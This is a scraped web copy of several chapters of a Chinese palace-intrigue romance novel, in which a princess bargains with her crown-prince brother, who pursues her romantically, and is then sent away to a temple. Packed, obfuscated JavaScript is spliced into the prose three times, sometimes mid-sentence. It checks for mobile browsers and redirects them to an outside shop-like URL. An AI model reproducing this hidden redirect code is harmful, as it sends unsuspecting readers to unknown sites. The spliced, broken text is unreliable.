周砚枕收起那些繁杂的想法,给了春桃一个眼神,春桃点了下头,几步走到书桌边上,低着头佯装整理桌面上的东西,而他则是抖了下前襟,自然地向外走。 推开房门的那一刻,周砚枕突然怔了下。 不论是他还是春桃,隶属于太子这件事对赵清漓已经不是秘密,他本就不用避讳,更不怕赵清漓瞧见,但当他听到赵清漓回来的消息,竟下意识的想要隐瞒他在其中的联系。 ......为什么? 按在门上的手霎时轻颤了一下,脚步声又进了,似乎马上就要踏足内园。 他再也来不及去细想其中缘由,整理好表情踏上门槛。 沉重的门栏发出老旧的声响,随着开启之势,橘红的阳光缓缓挤进光线晦暗的书房,迎面洒在他的脸上,刺得他不由合起一只眼睛。 席卷的风安静一会儿,扬尘的地面浇过一层水,打扫的下人提着水桶从侧门离开。 周砚枕勉强睁开眼睛再度看清面前的场景,是赵清漓解下鹅黄色的披风交给夏荷,脸上带着飞扬的神采,兴冲冲来到小院。 月白色的身影在朱红漆门的映衬下格外抢眼,赵清漓转过头,停下匆匆的脚步,对着他扬起明媚的笑容:“周砚枕,你在呀!” 周砚枕觉得心空了一瞬,木讷地看了她片刻,微微垂下眼睛。 他竟不敢看她了。 赵清漓这会儿心情大好。 她像没头苍蝇一样碰了那么长时间的壁,今天总算是有点眉目了,怎能不高兴,往日的郁结和痛苦此刻也短暂的消散,她今日才发现,原来有所期望是这样一件愉悦的事,原来愉悦也可以治愈许多的伤口。 周砚枕捏紧了藏在宽大衣袖里的右拳,努力平和下来,像往日一样笑着上前:“我在,回来时没瞧见你,你去哪了?” 书房门里似有人影在动,赵清漓偏头张望了一下,见是春桃正在擦拭桌脚,便收回目光,继续和周砚枕说话:“去丽妃娘娘那里喝了杯茶。” 十分自然的对话。 周砚枕本以为今天赵清漓醒来会比昨日更加生气,甚至会第一时间拉着他去找永元帝提出和离,可没想到出了一趟门,再回来似乎变天了。 是因为太子么? 周砚枕的唇角紧绷了一下,说道:“你今日似乎心情不错。” 反正已经到了这个地步,许赵辞欺负她,就不许她利用回来吗?既然太子这个身份现在对她来说是有用的,那么旁的......她可以忍。 有幸重活一世,又怎能白活一场! 赵清漓歪着头看他:“为什么这么说?” 有这么明显吗? “没什么。”周砚枕声音淡淡的,而后勉强地笑了笑,“只是觉得许久未见你这样笑过了。” 接着他话锋一转,似不经意地提起,“听太子殿下说,圣上身体抱恙,这几日都不必上朝,你若担心圣上身体,我与你一同去请安。” 要请赵辞帮忙,不论是出宫还是和离的事都必要暂且放一放,否则定会引起赵辞不满,而且长宁公主今天又闹了这么一出,她还真有点心虚,不敢去见他。 赵清漓很快想了一下,说道:“我们现在去见父皇,只怕会让他又想起宫宴上的事,再气到身子就不好了,还是待请示过母后再去吧。” 周砚枕的脸上闪过一抹诧异,惊讶于赵清漓竟没再提起和离的事,心中涌出几丝复杂的情绪,回应道:“也好。” 他的情绪始终隐藏的很好,赵清漓也就没有看出丝毫的异样,只是像寻常那样与他闲聊几句,没有满眼含怨,没有夹枪带棒。 恍惚间,周砚枕觉得他们真像寻常夫妻那般,只是此刻,眼前那张俏丽的面容仿佛和三年前稚嫩的模样重叠了。 彼时的周砚枕刚过殿试,受诏进宫面圣。 那是他第一次进到皇宫,第一次面见圣上,第一次见到赵清漓,第一次遇到还是皇子的赵辞,却从没想过自己会卷入这场朝堂之争,更没想过,他会成为赵辞手中的饵。 是引诱那位高高在上的太子最亲近之人落入陷阱的,饵。 —————— 日落西沉,月色尚浅。 宫灯摇起,长长的小径上宫人的步伐又快又稳,忙着去各个宫里,此时正是晚膳时候。 周砚枕坐在窗边,手边的烛火被窗沿吹进的风吹得微晃,他偏过头,看到小小的影子迎着月光,拖着长长的裙摆朝外走,身后跟着的是她的侍女春桃。 他知道,她要去见太子。 玄华宫。 里里外外灯火辉煌,桌上饭菜布的整整齐齐,花样更是繁多,一眼瞧去,大多是些甜食和品相精致的菜肴。 容追难得露出意外的表情,太子殿下平日饮食并不奢侈,而且这些菜式也并非他的口味。 很快的,容追反应过来,迟疑了下问道:“公主为何要选这个时候过来?” 赵辞噙着淡淡的笑,白玉的瓷碗在他手中更显小巧精致。 待一碗金丝蜜枣汤羹盛好,他才耐心回应了一句:“晚膳时候不易被人察觉,即便有人注意到,她也可以此作为借口,减轻旁人疑虑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999041|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 最后,赵辞作出评价:“真是角度刁钻的谨慎。” 看来真是被赵姝绾那番话吓到了。 想到这里,他的心底突然有一丝阴郁扎根发芽。 容追似懂非懂地点点头:“似乎没有这个必要。” 她又不是没来过这里,更不会刻意挑什么时间,向来都是想来就来,想走就走的。 话音刚落,下人弓着腰站在门前通传,说是公主来了。 赵辞“嗯”了一声,抬眼看向容追,后者立即会意,毫不迟疑地去了院外安排布控。 赵清漓火急火燎地踏进玄华宫,听到宫人通传,便知赵辞知道她此刻要来正在里头等她,还没走近的两条腿顿时放慢,心里也紧张地打起鼓来。 方才的一腔孤勇正在一点一点瓦解,她突然有点后悔了,毕竟她们现在已经不是从前那样单纯的关系,而是......是很危险的关系。 那么,她该以什么样的态度去面对他?或者应该说,是应对。 透亮的屋子越来越近,开着半扇的门内走出一道长长的黑影,赵清漓吓了一跳,而后才意识到这是容追。 容追抱拳行了个礼,道:“太子殿下在等您。” 赵清漓木讷地“噢”了一声,收回在他身上打量的目光。容追的一袭黑衣在夜里看起来更具危险气息,以至于她险些将容追当成了那晚的刺客。但显然不是,容追很高很高,他的身量无论放在哪里都很突出,比那人还要再高出一些。 赵清漓暗自诽腹,他这么高,做暗卫不会很容易被发现吗? 思绪停在这里,赵清漓已然走至门前,跨过外殿,内阁中的饭菜香气四溢,她轻轻动鼻嗅了几下,便知其中有她爱吃的。 赵清漓在垭口停了一下,换上一副笑颜,这才绕过屏风进去。 “皇兄。”她扬着声音唤了一声,目光落在飘着热雾的汤碗上,正是她最爱喝的金丝蜜羹。 赵清漓像往常一样坐在他身侧,弯着眼睛问道:“给我盛的吗?” “尝尝,味道可还和从前一样。”赵辞不置可否,眼神不受控制地牢牢锁在她白嫩的娇颜上,只觉得耀眼得让他挪不开眼,喉结悄悄上下滚动。 赵清漓拿着汤匙抿了一口,香甜的热气扑面而来,反而真让她食指大动,又咽下好几口。 晶莹的银丝带着蜜香挂在嘴角,若有似无的在唇峰上泛起一层亮光,赵辞看着他,眼中光一瞬变得幽深晦暗。 他别开眼,抑制住想要自己凑上去的那份冲动,改而伸出两根手指,指腹在她唇上迅速的抹了两下,拭去那层残液。 赵清漓一怔,慌乱中低下头去,拿起帕子擦拭嘴角,余光瞟着身边的赵辞,他正神态自若的用缎帕抹掉指尖的汤羹。 奇怪,这样的场景并非第一次,这样亲昵的接触也并不陌生,为何如今再去看那张俊颜,她的心里却有一丝说不清道不明的异样。 赵清漓尴尬地咳了两声,说道:“皇兄宫里的饮食果然是我宫里比不了的!” “既然觉得好,以后便常来吧。”说着,又往她碗里夹了一筷子菜。 呃......似乎说错话了。 赵清漓只好干笑几声,埋着头再吃几口。 23. 第 23 章 不过他宫里的膳食味道的确很好,赵清漓在他不断夹菜的动作下,硬是吃到差不多了,才想起今天过来是有正事的。 “皇兄......”赵清漓想了想,试探地开口,“皇兄知道我的来意吧?” 赵辞轻笑,自顾自地饮了一口茶水,少许停顿后说:“你既然来了,至少要告诉我你想要什么。” 他抬起锐利的凤眸,一字一句的问:“你今日来只求索取,还是要与我合作?” 赵清漓不解:“有什么分别?” 赵辞屈起修长的手指,食指指尖在桌面上有节奏的敲着。 一下、一下。 每一声都准确的叩在赵清漓的心房。 空气中静谧了一阵,赵辞瞥向她:“索取就是,你问我什么我便答你什么,合作么——” 他突然不再说下去,直勾勾地盯着她,丝毫不加掩饰的目光直白的可怕。 赵清漓心中咯噔一下,他果然猜到了。 赵辞缓缓靠近,扬了扬眉,略带蛊惑的声音沉声说道:“合作就是我给你想要的,你......也要给我想要的。” 他会说出这种话,赵清漓一点也不觉得意外,反正话已经说开了,她也懒得拐弯抹角。 赵清漓勾唇反问:“皇兄想要我?” 赵辞惊讶于她的坦率,饶有兴致地歪着头等她继续说下去。 赵清漓顿了顿,在他的注视下拿起他方才喝过的杯子,樱唇印着杯沿缓缓仰起下巴,微涩的茶水缓缓流入口中。 赵辞看着她的动作,心底蓦然腾升起一阵燥热和烦闷的感觉,唇线和下颌都紧绷着,手背已经从弯曲紧握成拳。 她继而放下杯子,抬起水眸迎上赵辞的目光,幽幽说道:“皇兄想要的不是已经得到了吗。” 赵辞的目光微闪几下,玩味地说:“我的清漓何时也学会这种把戏了?莫不是为了见我特意请教过?” 论脸皮厚度,赵清漓只能自愧不如,不过这些她尚能适应。 赵辞又道:“我要的不是短暂的鱼水之欢,我要你从今往后都属于我,明白吗?” 明白。 纵使她明白赵辞的心思,听他说了这话仍是觉得好笑。 他凭什么以为这种见不得光的关系可以长久维持下去,又凭什么以为自己可以永远的掩人耳目做这种龌龊勾当。即便可以,他就如此不顾及自己的名节,打算让她一辈子深陷泥潭吗? 赵清漓不由得冷冷一笑:“皇兄,当真以为自己是太子就可以一手遮天?” 这样的笑装满讥讽,他不喜欢。 于是赵辞探手抚上触手可及的娇嫩容颜,柔美的肌肤似雪一样白皙带着微凉,让他爱不释手。 这样的人,就该是他的。 赵辞见她不躲,语气便也生出几分宽厚来:“太子不行,但皇帝可以。” 他认真道:“清漓,我会成为皇帝,为了你。” 荒唐! “你当我是为了自己?我告诉你,找不出凶手你也会死!”赵清漓不悦地甩开他,猛地站起来,抬腿就走。 简直荒唐,亏她满怀诚心地来和他谈交易,可他显然不打算跟自己好好谈,竟反复戏弄她。 “我不怕死!” 赵清漓脚下一滞,冷然回过身子,看向那道声音的主人。 赵辞已经起身,一步一步靠近她,重复了一遍:“我不怕死。” 语毕,他已经来到赵清漓面前,投降般地沉叹一口气,缓缓开口:“那天在场的宫人都已处理干净,只有李牧公公、皇后娘娘以及惠贵妃知晓。李牧公公自小和父皇一起长大,服侍了他一辈子,自然不会透露,皇后娘娘就不必说了,她对你都未曾提起过一字半句,剩下的便只有惠贵妃。” 赵清漓微微睁大了眼:“你是说惠贵妃透露给了赵姝绾?” 她和惠贵妃并无过节,而且惠贵妃一心为永元帝,对长宁公主也无好感,她不该做出这种事。 赵辞摇了摇头,眉梢轻撇:“惠贵妃自是不会和赵姝绾有什么牵扯,但你忘了,昔日瑞王和淮王争权那般厉害,最后却什么都没得到,你以为她会将错归结于谁?” 淮王和瑞王都是惠贵妃的儿子,无论他们二人争的再厉害,在惠贵妃眼里都是自家的事,争的也是自家门里的荣耀。虽说是瑞王自己不争气,但到底最后是赵辞坐上了太子之位,以惠贵妃的心气儿,她总不至于归咎于自己的亲儿子,肯定要把账记在赵辞的头上。 瑞王已经流放,那剩下的不就只有...... 赵清漓惊呼:“是淮王!” 很快,她又皱起眉。 淮王和自己也无过节啊,况且他近年都十分的与世无争,怎么还会和赵姝绾扯上关系? 赵辞沉吟道:“淮王不会知晓此事,他把当年的真相告诉赵姝绾无非是想加深她的敌意,从而激化矛盾,让她今后着力针对我,淮王再借此坐收渔翁之利,只不过......我倒是小瞧了那个女人。” 也不知道淮王是仍对皇位有所觊觎,还是单纯性的想要报复赵辞,总之他的暂收锋芒看起来并不像表面那么简单。若非长宁公主没有证据,只是凭着直觉揣测闹事,否则还真让淮王借刀杀人了。 说到借刀杀人,不知为何,赵清漓突然想到赵齐,总觉得......他的事也并非巧合。 说完,赵辞提起唇角,露出一个意味深长的笑:“清理,这是我的诚意,接下来到你了。” 赵清漓忍不住讥讽了一句:“皇兄这是龙椅坐腻了,这么喜欢苟合?” “苟合?”赵辞假装思索了片刻,摇着头反驳,“你若硬要给我施加个什么罪名......我们这叫乱亻仑......” 这句话听得赵清漓连连皱眉,明知他是成心,心里仍是不知其味。 “够了!” 赵清漓冷声打断,撩起长睫瞧见赵辞自恰的神情。她深吸一口气,把心一横,扬起巴掌大的小脸踮脚迎上他的目光。 温软的柔荑顺着玄色的衣襟缓缓攀上他的胸口,沉重有力的心跳透过光滑的锦缎织料传递到她的掌心。赵清漓微仰起头,葡玉似的星眸水波流转,倒映着赵辞名家勾画一般的下颌线条,冷冽而沉静。 掌心下的心跳却正悄悄提速,赵清漓轻笑了下,倏然两手攥起赵辞的前襟,用力把他拉向自己,他的下巴毫无准备的咋样抵上她的额顶,随着她一点一点抬头的动作滑至鼻尖。 直到清楚地感受到她所触及的身体紧绷起来,变得如钢铁一般坚硬,赵清漓勾上他的后颈,细声细语命令他:“皇兄,低头。” 闻言,赵辞调侃道:“你想轻薄我,却要让我低头?” 话是这么说,人却配合着偏头低下,在她樱红的唇前停下,似碰非碰。赵清漓呼吸一滞,美目注视着那双薄唇,毫不犹豫地吻了上去。 紧绷的身体因为她的主动再次颤了一下,赵清漓眉间拧着,硬着头皮回忆他亲吻自己的场景,有样学样地交还给他。虽然生疏,却也够用了。 赵辞心中一震,大手不受控制地掐上她的腰际,轻而易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999042|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举扣紧锁在自己怀里。 角色对换,他由被动化为主动,急迫的掠夺她口中每一寸呼吸。 绯红的霞很快从她脸上蔓延至耳廓,再到鹅黄锦绸包裹的只露一截的雪白细颈,整个人看起来娇艳欲滴,宛若一朵含苞待放的花朵。 赵清漓被他吻得透不过气,抑制不住地溢出几声嘤咛,身体虚软地挂在他身上。没成想反而对他是种极大的鼓舞。 赵辞毫不犹豫地从她口中抽离一些,轻咬着她的下唇推她后退。 坚实的门框随着赵清漓退至门边撞上的动作叮咣作响,他这才抽出挡在她后背的手臂,一只手撑在一侧墙上,另一只手箍紧怀中柳腰,免得她重心不稳跌倒。 绢布上是水墨染成的凤竹,圈在玉石铸造的框架中成了一副意境深远的画卷。 屏风上的竹影在烛火的晃动下显得栩栩如生,放大交叠的人影在这片翠竹之后形成朦胧的虚影,整幅画面宛若天成。 正殿外,挂着灯盏的院落外头站了两人,一个是赵辞身边的容追,一个是赵清漓身边的春桃。 夜风吹过,春桃忍不住瑟缩了一下,抱着肩头搓了搓,转过脑袋看向石桌边立的笔直的容追,似乎丝毫觉察不到冷意。 也不知道公主什么时候出来。 春桃刚叹一口气,就听见尽头殿门吱呀一声从里头被推开,熟悉的身影缓缓走出,只是脚步有些虚浮。 春桃怔了一下,立刻过去搀扶。 走近了,借着灯火去看,赵清漓冷着一张小脸,面上耳廓都还挂着没完全褪去的红晕,嘴角唇峰红肿的异常,原本完好的口脂被擦拭的只剩点点红痕,毫无章法的沾在唇外。衣裳却依旧整洁,只是衣领处有一丝微乱。 春桃朝身后那处光亮望了一眼,没瞧见太子出来,疑惑问道:“公主殿下,咱们这是要回去吗?” 反正该问的已经问到了,给他点甜头也无妨。就是这种合作方式还真让她觉得憋屈。 赵清漓扫了春桃一眼,语气生硬道:“你想留在这的话,我不拦你。” 春桃连忙闭上嘴,低着头默声随她回宫。 容追在殿外站了一会儿,目送赵清漓走出玄华宫的外门,迟疑了一下,朝身后殿门靠去,刚在门前站定,就听到里头传来赵辞的声音。 “进来。” 容追低着头进去,只见赵辞依旧坐在原来的位置,一如他出门时那样捏着杯子怡然自得地抿了口酒,只是神情比先前看起来多了一丝愉悦。 容追站在屏风外侧,垂下头应道:“太子殿下。” 赵辞淡淡道:“赵齐那边查清楚了?” 容追回答:“查清楚了,与您所料一致。” 赵辞唇边溢出一丝森然,有些失望的叹道:“到底不是一母同胞的兄弟,下起手来没轻没重的。” 容追默默点了点头,又问:“殿下接下来打算怎么做?” 指尖的酒杯打了个旋儿,稳稳落在手中。 赵辞抬起凤眼,挑起唇角:“什么也不做,静观其变。” 容追道了声“是”,想起刚刚离去的赵清漓,犹豫了一下问:“那......长宁公主那里?” “随她去。”赵辞无谓地垂下眼眸。 随她这样闹下去,不会对他和赵清漓有什么影响吗? 容追心中疑惑,却也不敢多说什么,太子为人远虑,自是有自己的应对之策。 至少,他从未见过太子出现失误。 落子无悔,“悔”这个字,他没在太子脸上见过。 24. 第 24 章 隔了一日。 赵清漓请示过皇后,便随周砚枕一道去看望永元帝。 据说其他几位皇子们都已经去请过安了,她作为永元帝名义上的女儿,自然也要,否则难免让人诟病。 悠长的宫道上,两人并肩走着。 赵清漓脸上带着烦闷。 周砚枕偏头看向她,一语道破她的心事:“紧张?” 赵清漓摇摇头。 与其说是紧张,不如说是有点心虚。也不知道长宁公主有没有去见过他,有没有把那些话说给其他人听。 周砚枕安慰地按了按她肩头,温柔笑道:“不必担心,万事有我。” 他的话像有魔力一般,鬼使神差的,赵清漓心里平静了许多,对着他点了点头。 昭华殿。 诊脉的太医一脸凝重,小心翼翼退下,与刚踏入殿门的赵清漓错身而过,悄悄抹去额角的虚汗。 再往里走,皇后坐在床前照拂,接过宫女手里送来刚煎好的药,永元帝觉着烫,便先搁在了一旁,招呼她们过来。 赵清漓吓了一跳,怎么才过两日,人却看起来虚弱的不行。 永元帝拉着赵清漓的手,慈爱地看着她的脸,感叹道:“长大了,越来越像了......瞧这眉眼神韵......” 说着,还看了皇后一眼,像是询问。 赵清漓一怔,也跟着去看,只见皇后脸色突然有点不自然,但还是很快地笑了笑以示回应,只不过笑容有些勉强。 赵清漓急忙岔开话题,担忧地问:“父皇身体如何了?怎么看起来比在宫宴上还要......” 永元帝却只是摆手安慰她没事。 还是皇后叹一口气,忍不住说出实情:“原本没什么大碍,只是昨日听到一些风言风语,一气之下这不就......” 赵清漓心中一跳,紧张的背后渗出一层冷汗。 风言风语......莫不是长宁公主找过他了? 还没等她想好如何回话,周砚枕突然开口:“后宫人多口杂,向来有人喜欢捕风捉影,圣上不必忧心,更无须为此烦恼,保重身体要紧。” 一番回应得体端庄,永元帝宽慰地点了点头,又对赵清漓柔声道:“朕已经好多了,清漓不必担心。” 周砚枕沉吟了下,看向皇后,问出了赵清漓的疑惑:“皇后娘娘,近日朝政稳固,后宫又刚忙完长宁公主的接风宴,不知是有什么流言惹得圣上不快?” “是......”皇后犹豫了一下,请示地望向永元帝,得到后者点头允肯,她才继续说,“是六皇子的事。” 说到这儿,皇后突然看向周砚枕:“周中丞,上书都要经你的手,你应该最清楚此事啊?” 赵清漓立刻就想到那满桌的弹劾文书,看来是有人把赵齐的事禀告给了父皇。 周砚枕皱眉想了一下,撩起衣摆直直跪在龙榻前:“回禀圣上、皇后娘娘,臣近日的确收到许多朝臣及各地的上书,但此事尚未调查清楚,无法确定是否和六皇子殿下有直接关联,所以臣还未向圣上奏明,请圣上责罚。” 可......这件事和周砚枕无关啊!不会真要责罚他不报之罪吧! 赵清漓见状急道:“父皇......” “朕还没有到老眼昏花的地步!”永元帝板着脸,调整了下呼吸,目光落在周砚枕身上,“这么说,朕听到的并不是讹传,都是真的?” 糟了,周砚枕面对政事向来都是死板之极,他若一板一眼从头说来,定会让父皇动怒! 见势不好,赵清漓急忙两步退到周砚枕身边,和他一同跪下。 “清漓?”周砚枕脸上出现一抹诧异,下意识地想要扶她起来。 “请父皇不要怪罪他!”赵清漓拨开他的手,咬着嘴唇无比认真地望着永元帝,“父皇,儿臣私下也听驸马提起过此事,众多矛头此时全都指向六哥这点本就颇为蹊跷,儿臣和六哥一同长大,六哥虽然有时行事轻纵乖张,却也不是没有底线的人,还请父皇再给驸马一些时间,儿臣愿为驸马作保,定会查明真相再来回禀父皇!” “圣上......” 皇后也想劝几句,永元帝却突然阴沉下脸,重重咳嗽几声,皇后便不敢再提了。 过了一会儿,永元帝平静下来,盯着赵清漓的脸看了好一阵子,幽幽地开口:“清漓的确长大了,自小养在深宫里的女娃娃现在竟也学会妄议朝政了......” 永元帝的语气不善,惊得赵清漓连忙跪伏在地上,战战兢兢道:“父皇,儿臣不是这个意思!” 永元帝的脸色丝毫没有改善,目光在周砚枕和赵清漓身上来回游移:“朕本以为清漓心里只有那些小女儿心思,没想到今日竟也能说出这样一番话来,倒真是让朕刮目相看。不知......是不是跟周中丞相处久了的缘故?” 这话是什么意思? 他这是对自己起了疑心吗? 赵清漓紧抿着唇不敢抬头,不断思索着该如何回答他的话才能不惹他更加动怒。 还没想多久,她又听得永元帝叹一口气:“罢了,明日你便启程去静安寺吧!” 静安寺正是庄妃当年祈福的佛寺,距离上京来回至少半月时间,这个时候让她去静安寺是何缘故! 赵清漓一时摸不着头脑,以为自己听错了,诧异地抬起头:“静安寺?” 永元帝点了点头,不由分说道:“明日一早便启程,不得延误!” 皇后适时好心的解释:“每年入冬前我朝都要有人去静安寺祈福,这是老祖宗定的规矩,往年都是澜之去的,你是他的妹妹,替他去一次也没什么。” 经皇后一提,她倒记起有这么一回事,只是以往都是到十月末,赵辞才会前往静安寺,今年却提早了一个月。 可静安寺除了是大历国寺,同样也是赵辞的生母逝去的地方。自从大火之后修整完毕,他便每年入冬前都会去上一趟,其一是为国祈福,其二也有去祭奠母亲亡魂之意。 她如何能替? 赵清漓争辩道:“可静安寺是......儿臣如何替得了三皇兄,父皇三思!” 永元帝懒懒地掀起眼皮,丢下一句让她如遭雷劈的回答:“就是你三皇兄提出让你代他前去的。” 什么! 赵清漓立即看向周砚枕,妄图从他脸上看出一丝究竟,然而周砚枕只是笔挺地跪在一旁,目光直直望着前方,一句话没说,也不给她留任何考量的机会。 赵清漓咬了咬牙,还想请他收回成命:“父皇——” “够了!”永元帝一声怒喝,一口气没接上,便开始不住的咳嗽。 周砚枕见状扯了扯她的衣袖,示意她不要再说了。就连皇后也极为少见地向她丢去一个警示的眼神。 赵清漓不敢再争什么,只能应下。 —————— 永元帝声称自己要休息,毫不客气地把她们二人赶了出去。 赵清漓不明白为什么短短几句话的时间,永元帝对自己的态度突然就转变了,她的父皇从未对自己如此严厉过。 不仅如此,还有赵辞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999043|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她清楚的记得赵辞答应了帮她,而她也接受了所谓的“合作”,如今他却向永元帝提出让她去静安寺祈福,这又是何用意? 不行,她要去问个清楚! “公主殿下,周大人!” 赵清漓停住步子,却见萤香扶着皇后匆匆赶来,而后萤香冲皇后欠了欠身,小跑着又回去了。 皇后笑了笑,首先看向周砚枕:“周中丞,本宫和清漓还有些话要交待,还清周中丞先行回去准备,莫要耽误了明早的行程。” 皇后虽然笑的温婉,言语却是命令的口吻,不容他拒绝。 周砚枕没犹豫,客客气气地答应,临走还摸着赵清漓的头发说了几句贴心话,俨然一副新婚夫妻的恩爱模样。 待人走后,赵清漓疑惑地问皇后:“周砚枕也要同去?” “他是你的夫君,自然和你同去。”皇后理所当然的说完,面色陡然一凝,郑重其事地望着她,“清漓,别怪你父皇。” 想到方才永元帝疾言厉色的模样,赵清漓不由得心头一阵伤感,闷闷嗯了一声:“我明白的。” 皇后摇了摇头,语重心长道:“你不明白。” 瞥见赵清漓迷茫的双眼盯着自己,皇后这才娓娓道来:“我妹妹宸宁……也就是你的母亲,琴棋书画、诗词歌赋,她样样不如我,荣华富贵、家族兴盛,她更是不放在眼里,你知道为什么吗?” 对于这个素未谋面就猝然离世的生母,赵清漓对她并不了解,只能茫然地摇头。 “因为她是次女。”皇后顿了顿,“从小到大,我该学什么,性子该是什么样,打从一出生就是定好的,可以说,我是按照嫁入皇室的标准长大的。” 想起自己磨破无数次的指腹、练习了无数次的仪态,甚至连面对众人时嘴角的弧度都是有严格标准,皇后自嘲地笑了笑。 “宸宁就不一样了,她什么都不用考虑,想做什么就做什么,可以说自己想说的话,嫁自己想嫁的人……后来她有了如意郎君,我也如家人所愿嫁入皇家,可我的夫君却在有一天亲口告诉我,他不喜欢这样无趣的我,他喜欢的是我的妹妹!”皇后深吸一口气,眼尾隐约泛着点点水光,转瞬即逝,“你知道我当时在想什么吗?” 赵清漓想,应该是恨吧。 恨她的夫君脱口而出冰冷的话,恨她的亲妹妹轻而易举夺她所爱,恨她按部就班的人生就这样被划定为失败。 但赵清漓不敢说,因为……皇后理应也该恨自己。 皇后没再说下去,故作一个轻松的笑,摸了摸赵清漓的脸,眼神中带有几分怀念:“你和你母亲长得像,性子也像,但你方才说错了话。” “妄议朝政”几个大字在脑海敲起警钟。 赵清漓小心地试探:“您是说六哥的事……” 皇后点头:“宸宁厌恶一切利益纷争,她的世界是干净简单的,就像从前的你一样,可你刚才维护周砚枕的那番话太过理性,出卖了你的心思,圣上觉得你不像她了,明白吗?” 你不像她了。 赵清漓知道永元帝对她的疼爱归根于对她的生母孟宸宁的爱,爱屋及乌他做得十足。 十多年来,赵清漓在他的宠爱下无忧无虑的长大,她以为这么多年的感情早已根深蒂固,却没想过只因那么一句话,他觉得自己不像他心中所爱的那个人了,因此立刻换了副脸孔,着令把她赶了出去。 如此翻脸无情,那这么多年的朝夕相处又算什么? 重活一次,她用尽全力想要保护她所拥有的家人,而今……到底算什么? 25. 第 25 章 玄华宫外,一身绯红长裙的少女正怒气冲冲地朝着大门赶来,几步就来到门前。 容追已经等候多时了,正当她抬脚跨进院子的时候,立刻从林间闪身出来,坚实的臂膀横在她面前。 赵清漓本就在气头上,见容追拦着自己,气得眉梢都飞扬起来,厉声呵斥:“让开!” “太子殿下不在,公主请回吧。”容追说完,抬手做了个送客的手势。 此地无银三百两!她还没说什么呢,容追就急着赶她走,还说赵辞不在。 真是笑话,他不在宫里能去哪儿? 赵清漓冷眼晲着容追:“赵辞不在,那你为何会在这儿?” 容追自然地回答道:“太子殿下不是只有属下一个暗卫。” 赵清漓懒得理他,翻了个白眼,扬着下巴就往里闯。 然而她在整个院落转了一圈儿,大大小小的房间搜刮了一遍,仍是一无所获。 容追的声音适时在身后响起:“公主殿下,太子真的不在。” 赵清漓回过身,看着容追那副死人脸更是气不打一处来,两人大眼瞪小眼了好一阵儿,谁都没说话。 许久,赵清漓冷哼一声,叉着腰说道:“那本宫就在这等他!” 没想到容追一点儿也没有要拒绝的意思,弯腰行了个礼:“公主请便。” 顿了一下,容追又补了一句:“太子殿下兴许今晚来不及回宫,夜里凉,公主若是要等可以去殿里等,免得冻坏身子。” 赵清漓的脸上掠过一丝惊疑。 这主仆二人怎么看都像是做好了准备,知道她要来似的,再瞧容追真的转身退下,留她一个人站在院里,赵清漓陡然懊恼地拍了拍额头。 这本就是他向永元帝提议的,当然预料得到她会来兴师问罪。再说了,他一个大男人,又是太子,这上京中还有哪里是他去不得的! 如果赵辞有心避而不见,她今夜是真等不到了。 罢了,圣命已达,即便她问出原因又能改变什么。 —————— 次日,巳时三刻。 鎏金凤纹马车早已停在宫门外,八匹枣红骏马昂首嘶鸣,车檐上的珍珠流苏跟着轻晃,禁军手持银枪立在两侧。 车轮碾过青石板路,金箔似的粉尘随着轱辘和马蹄扬起一大片,车帘落下,赵清漓把脑袋收回车厢里。 偌大的空间,梨花木的小方几摆着上好的贡茶和点心,她和周砚枕面对面坐着,一同离这座皇城。 马车跑了一天,到了傍晚便停在皇家驿站补给,她们则是在客栈休憩了一晚,路上的一切早就安排妥当,不会出什么差错。 唯一让赵清漓觉得烦闷的便是路程着实太远,无聊也就罢了,更不晓得何日才是归途,许多的事她还未来得及弄明白。 窗外弦月高挂在枝头,凋零的落叶扑簌簌落下,夜莺哭啼的声音渐渐远去。 周砚枕合上窗子,雕花红木的桌几中央,烛台迅速抖了一下,外头的寒风被隔绝,屋子里霎时腾升起暖意。 周砚枕抱着干净的褥子去了外间,一言不发地铺在又窄又短的榻椅上,看样子是打算睡在这里。 那云榻不比周砚枕的腿长上多少,怎么可能睡的好。 赵清漓默默晲着他的动作,忍不住说:“客栈房间那么多,再去开一间就是了,你不用这么委屈自己。” 周砚枕头也没抬,继续收拾他今晚的安睡之所:“我们是夫妻,若是分房睡难免会招人疑心,你不必管我,这里很好。” 他说的倒也没错,眼下不宜节外生枝,周砚枕这番考虑很周全。 可是...... 赵清漓看着他很快铺好那张小小的云榻,怎么都无法想象这么长一条人可以挤在上面。 罢了罢了。 赵清漓闭了闭眼,起身走到他身后:“你去床上睡。” 周砚枕身形一顿,肩头笔挺的线条僵了一瞬,面带诧异地转过身。 面前的少女秀发披着,脸上妆容已经卸去,如出水芙蓉一般娇而不妖,反而带着清雅和稚气。 